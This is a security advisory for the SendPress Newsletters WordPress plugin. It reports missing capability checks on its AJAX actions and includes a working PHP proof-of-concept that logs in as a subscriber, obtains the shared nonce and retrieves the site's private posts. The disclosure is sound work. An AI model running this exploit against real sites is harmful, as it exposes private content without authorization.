SendPress Newsletters [Missing Capabilities Checks]
Description
Plugin SendPress Newsletters lacks of capabilities checks when performing various AJAX actions.
Almost every AJAX action requires a valid nonce to be performed, this
nonce is common to all AJAX actions and is easily obtainable for a
registered user. This action is named love-me-some-sendpress-ajax-2012
and can be obtained by visiting admin dashboard with a post request
that has $_POST['page']=sp
.
The AJAX actions that are available are:
- sendpress_save_list
- sendpress_subscribe_to_list
- sendpress-autocron
- sendpress-sendbatch
- sendpress-queuebatch
- sendpress-stopcron
- sendpress-sendcount
- sendpress-queuecount
- sendpress-findpost
- sendpress-list-subscription
- sendpress-synclist
- sendpress-sendcron
PoC
In the following PoC we use the action sendpress-findpost
to retrieve
all private posts
#!/usr/bin/env php
<?php
/*******************************************************************************
* SendPress Newsletters [Missing Capabilities Checks] - Retrieving Private Posts Exploit
*
* Author: Pan Vag <[email protected]>
* To install deps run `composer install`
******************************************************************************/
require_once 'vendor/autoload.php';
use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;
$url = Config::get( 'url.base', null, true, 'Enter the site URL' );
if ( ! $url ) {
Cli::writeError( 'You must enter a valid URL' );
exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}
$session = new \Requests_Session();
Cli::writeInfo('Authenticating with WordPress');
WPAuthentication::logInAsUserRole( $session, WPAuthentication::USER_ROLE_SUBSCRIBER );
$adminPage = $session->post(Endpoint::adminBaseURL().'/index.php', [], ['page' => 'sp']);
preg_match('/var spvars\s*=\s*.+"sendpressnonce":"([^"]+)"/', $adminPage->body, $matches);
if(!$matches || empty($matches[1])){
Cli::writeError('Couldn\' get a nonce, maybe target is not exploitable');
exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}
$nonce = $matches[1];
// We call the sendpress-findpost to get all private posts
$postData = [
'spnonce' => $nonce,
'action' => 'sendpress-findpost',
'query' => '&post_status=private&posts_per_page=-1', // perfomed query is like `WP_Query('s=' . $_POST['query'])`
];
$r = $session->post(Endpoint::adminAjaxURL(), [], $postData);
if(!$r->success || $r->status_code!=200){
Cli::writeError('Could\'t exploit the target');
exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}
$posts = json_decode($r->body);
if(!isset($posts->suggestions)){
Cli::writeError('Couldn\'t interpret the response, printing it out');
print_r($r->body);
exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}
if(!$posts->suggestions){
Cli::writeSuccess('No private posts were found');
exit(ExitCodes::EXIT_CODE_EXPLOIT_SUCCEEDED);
}
Cli::writeSuccess('Found ' . count($posts->suggestions) . ' posts, printing titles');
foreach ( $posts->suggestions as $suggestion ) {
Cli::write($suggestion->value);
}
INFO
- 13 June 2016
- Pan Vag
- sendpress.com
- SendPress Newsletters
- 1.7.6.11
- WordPress 4.5.2
- DWF-2016-87064